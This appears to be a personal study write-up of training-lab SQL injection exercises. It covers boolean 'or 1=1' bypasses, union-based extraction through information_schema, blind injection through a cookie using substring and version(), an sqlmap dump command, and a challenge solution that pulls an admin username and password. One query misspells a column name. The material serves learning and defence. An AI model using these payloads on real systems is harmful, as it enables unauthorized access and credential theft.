---
description: Basic web app vulnerabilities walk-through. I hope you find this beneficial
---

# Web Security Under-the-hoods

## SQL Injection

<figure><img src="https://1322174932-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq1hKGJBWqvA2uddXWzpO%2Fuploads%2FzR6uIrggpGTwRg8W5eLP%2Fimage.png?alt=media&#x26;token=82a166bf-9a1b-4f1c-ac59-a2cbd230023e" alt=""><figcaption></figcaption></figure>

The hypothesis - the app executes below SQL query after a user enters user input and click Enter button.

```sql
SELECT email from users WHERE username = 'user_input'
```

This is because when user input is jeremy, the corresponding email is displayed. Use below payload.

```sql
jeremy' or 1=1#
```

The below payload works because the SQL modified SQL query executed by the app  would be as per below.&#x20;

```sql
SELECT email from users WHERE username = 'jeremy' or 1=1#
```

As a result the app will display all the data in the table. 1=1 equals to True boolean value. In case of a while loop, the loop will processes True value, resulting in iterating each row of the table and then displays all the result on the screen. The payload will still work if we try other username (fake\_user) that doesn't exist in the database. This is because OR operator only wants either 'fake\_user' or 1=1 to be true so it doesn't care. So that's why we use OR not AND. But what does the ' do in the payload ? If ' doesn't come right after jeremy, the modified SQL query would be like below which will not yield any result.

```sql
SELECT email from users WHERE username = 'jeremy or 1=1#'
```

<figure><img src="https://1322174932-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq1hKGJBWqvA2uddXWzpO%2Fuploads%2FbYbIpRFF7cBGzmhR23e7%2Fimage.png?alt=media&#x26;token=f0b11c06-dce2-4d28-bc66-63a53f3321b2" alt="" width="485"><figcaption></figcaption></figure>

### Union Based SQL Injection

Union based is used when we wanna take a look or exfiltrate additional juicy information from the database by querying data from other tables in the database. Let's say you have a valid username jeremy and you wanna know his password so you would guess that his password is stored in a table elsewhere. There is one contraints however, in order to use the UNION,  you can ONLY SELECT the same number of columns as in the original SQL query. For example the query `SELECT email from users WHERE username = 'user_input'.` Let's make a hypothesis first.&#x20;

First hypothesis is the query only select one column which is email. To test this, we use `jeremy' union select null#`

Second hypothesis is the original query select multiple columns. To test this, we can add null one by one to look for the right amount of columns selected. Use this payload `jeremy' union select null,null#` and `jeremy' union select null,null,null#.` The last payload gives an output which confirms the columns selected by the original query is 3.

Information\_schema is a default database in the SQL server where it stores the metadata of the system for example tables, columns, and other objects stored in the system. Think of it like the brain of the system where our human brain stores all the information that we have.

Provided that we have to use three columns to successfully use the UNION statement, we can modify the previous SQL queries to take display information from the information\_schema database. This can be useful if we wanna get other information like passwords etc.

```sql
jeremy' UNION SELECT null,null,schema_name FROM information_schema.schemata#
```

Okay let me break it down for you. `schema_name` is a column, we are querying for it from the schemata table that resides in the information\_schema database. So this payload will actually show you the databases available by displaying the databases' names.

<figure><img src="https://1322174932-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq1hKGJBWqvA2uddXWzpO%2Fuploads%2FrqeXQ8D6SpfK2uuolknf%2Fimage.png?alt=media&#x26;token=087b9f52-9620-4828-b74b-fe6e704ba3f4" alt="" width="465"><figcaption><p>databases identified</p></figcaption></figure>

```sql
jeremy' UNION SELECT null,null,column_name FROM information_schema.columns#
```

```sql
jeremy' UNION SELECT null,null,table_name FROM information_schema.tables#
```

Now, from the payload that lists all the columns, we can see that there is a column named password. Now use the payload below to list password column entries from the table associated with this challenge which is the injection0x01 table.

```sql
jeremy' UNION SELECT null,null,password FROM injection0x01#
```

<figure><img src="https://1322174932-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq1hKGJBWqvA2uddXWzpO%2Fuploads%2Fnib9AuQIAKAi8TijkmsU%2Fimage.png?alt=media&#x26;token=707871fc-5961-4f73-8230-c8628110456e" alt=""><figcaption></figcaption></figure>

### Blind SQL Injection

Blind SQL injection is where the payload used doesn't yield any displayed results. It can only determined its success by analyzing the response in Burp Suite. In SQL injection attack, we need to constantly wonder how something that is sent to the server is processed for example credentials and cookies. One instance of the attack is tampering with the cookie parameter to know the version of the DBMS. The version itself doesn't get printed on the web page, instead it confirms it by having valid successful response in by the server.

For this lab, we are given a set of valid credentials to log in.&#x20;

1. Login with the creds
2. Open the Post request (the one that sends over the creds to the server). Server will supply the session with a cookie in response to the POST req.
3. Open the GET request right after the POST request. Now we see the cookie parameter that can be tampered to do sql injection attack.
4. Copy it to Repeater and play with the cookie parameter. See walkthrough below.

Now let's try some basic injection payloads&#x20;

`' and 1=1#` and `' or 1=1#` will work because the and operator requires both sides (the cookie and 1=1) are true where the or operator requires one side to be true which makes using an invalid cookie will return as true also thus making the attack successful.&#x20;

But what do we get from this attack ? hahaha. We are already logged in using jeremy credentials. Like in UNION-based attack, we get to make the web page lists all the tables and stuff. But in this lab, the ' or 1=1# payload is only to confirm that the cookie parameter is valid door for sql injection attack, thus more attacks can be done to retrieve more information. The theory is to use a more intricate payload, and to determine whether it is successful or not, look at the response. When you are logged in, the content-length parameter in the response would be like this `Content-Length: 1027` . So, if the payload you inserted is successful, you will get the same Content-Length.&#x20;

Right now, we wanna use substring in the payload and we will use it to know the right version of the DBMS. The basic usage of the paylaod is as below.

```sql
' or substring('test',1,1) = 't'#
```

To know the version of the DBMS, use below payload

```sql
' or substring((version()),1,1) = '8'#
```

Above payload is used to determine whether the version of the DBMS starts with number 8. If it does, the response will have `Content-Length: 1027.`  Now, forward the request in Repeater to see for yourself. After playing with the payload, the final payload will be as below&#x20;

```sql
' or substring((version()),1,5) = '8.0.3'#
```

We can use sqlmap to do an automated attack.&#x20;

1. Copy the GET request that contains the Cookie parameter and save to req.txt
2. use command `sqlmap -r req.txt --level=2 --dump` to specifically inject into Cookie

<figure><img src="https://1322174932-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq1hKGJBWqvA2uddXWzpO%2Fuploads%2FDj4rI0WWGbEmPSRTOEjE%2Fimage.png?alt=media&#x26;token=372b106b-ed65-4a17-ba0c-e815d332ff07" alt=""><figcaption></figcaption></figure>

### Challenge&#x20;

Retrieve the admin's credentials from this simple system.

<figure><img src="https://1322174932-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq1hKGJBWqvA2uddXWzpO%2Fuploads%2FPwsJKuVo2utSCDqyAa6p%2Fimage.png?alt=media&#x26;token=0b593c4a-64a0-47ca-9c9a-2cc71b55f271" alt=""><figcaption></figcaption></figure>

Let's see how many columns does it need in order to make the union-based payload works. After&#x20;

```sql
tanjyoubi sushi rack' union select null,null,null,null#
```

Finally, the above paylaod is the one that returns anything. Meaning  it needs four columns in order to work.&#x20;

```sql
tanjyoubi sushi rack' union select null,null,null,version()#
```

We can use the above payload to extract the DBMS version which is 8.0.42

<figure><img src="https://1322174932-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq1hKGJBWqvA2uddXWzpO%2Fuploads%2F5tFyBy2O4ic5VBlE7tF0%2Fimage.png?alt=media&#x26;token=f96886dd-9da3-4711-9e35-87d133bd030a" alt=""><figcaption></figcaption></figure>

Below payload is to display available databases. Database peh-labs would be of interest to us

```sql
tanjyoubi sushi rack' union select null,null,null,schema_name from information_schema.schemata#
```

Below payload is to display available tables in the peh-labs databases. Two tables injection0x03\_users and injection0x03\_products would be of interest to us so let's investigate the injection0x03\_users table

```sql
tanjyoubi sushi rack' union select null,null,null,table_name from information_schema.tables where shcema_table = 'peh-labs'#
```

Below payload lists the columns available in the injection0x03\_users table. This would display username and password column

```sql
tanjyoubi sushi rack' union select null,null,null,column_name from information_schema.columns where table_name = 'injection0x03_users'#
```

Next, list all usernames in the username column. Takeshi may be the admin&#x20;

```
tanjyoubi sushi rack' union select null,null,null,username from injection0x03_users#
```

Payload below lists the password in the password column. Takeshi's password is onigirigadaisuki

```sql
tanjyoubi sushi rack' union select null,null,null,password from injection0x03_users#
```
